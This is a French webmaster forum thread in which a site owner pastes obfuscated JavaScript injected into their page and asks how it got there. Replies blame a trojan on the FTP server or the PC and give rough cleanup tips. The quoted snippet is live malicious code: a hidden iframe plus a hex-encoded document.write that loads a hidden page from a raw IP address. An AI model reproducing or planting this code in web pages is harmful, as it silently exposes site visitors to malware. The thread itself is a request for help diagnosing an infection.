votre avis sur un probable piratage

WRInaute occasionnel
En regardant le code source de mon site aujourd'hui je tombe sur ce bout de code :

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe>
<script>function v4814624163bc9(v48146241643be){ var v4814624164bb6=16;
return(parseInt(v48146241643be,v4814624164bb6));}function v4814624165bbe
(v48146241663cf){ function v4814624167b7d () {return 2;} var v4814624166bc4='';for
(v48146241675eb=0; v48146241675eb<v48146241663cf.length; v48146241675eb+=v4814624167b7d())
{ v4814624166bc4+=(String.fromCharCode(v4814624163bc9(v48146241663cf.substr
(v48146241675eb, v4814624167b7d()))));}return v4814624166bc4;} document.write
(v4814624165bbe('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D65
6E742E777269746528273C696672616D65206E616D653D6466666238333762207372633D5C27687474703
A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D
6174682E72616E646F6D28292A3733363736292B27366130645C272077696474683D313633206865696768
743D343532207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2
F5343524950543E'));</script>

Juste après le comencement de la balise body, comment cela a pu se retrouver là ? Cela peut être la cause de mon positionnement en seconde page sur le mot clé alors j'étais en première page auparavant ?
 
WRInaute impliqué
WEBCodeur a dit:
Quel est le mode opératoire de ce genre de truc, il s'insère lors d'un transfert FTP?

non
ce trojan existe dans ftp
si tu supprimer ce code il revient automatique
moi la solution qui j'ai trouve si de vider le ftp ( couper tous le site) puis de recopie vers ftp et aussi pour les droit d'access de page index( botton droit sur fichier index ----> autorisee suelement lecture )


si google detictee se virus le site sera desindexee
 
WRInaute impliqué
Marie-Aude a dit:
KOogar a dit:
mahdivitche a dit:
ce trojan existe dans ftp

cad ??

Ca doit vouloir dire "sur le serveur distant". Non ?
il y a deux possibilite soit dans le serveur distant (ftp) ou dans le poste

pour le 2eme cas : il faut utilisee un autre poste pour supprimer le code puis envoyer le site vers ftp

pour 1er cas : tu doit appeler au placement qui tu heberger votre site
 

➡️ Offre MyRankingMetrics ⬅️

pré-audit SEO gratuit avec RM Tech (+ avis d'expert)
coaching offert aux clients (avec Olivier Duffez ou Fabien Faceries)

Voir les détails ici

coaching SEO
Discussions similaires
Haut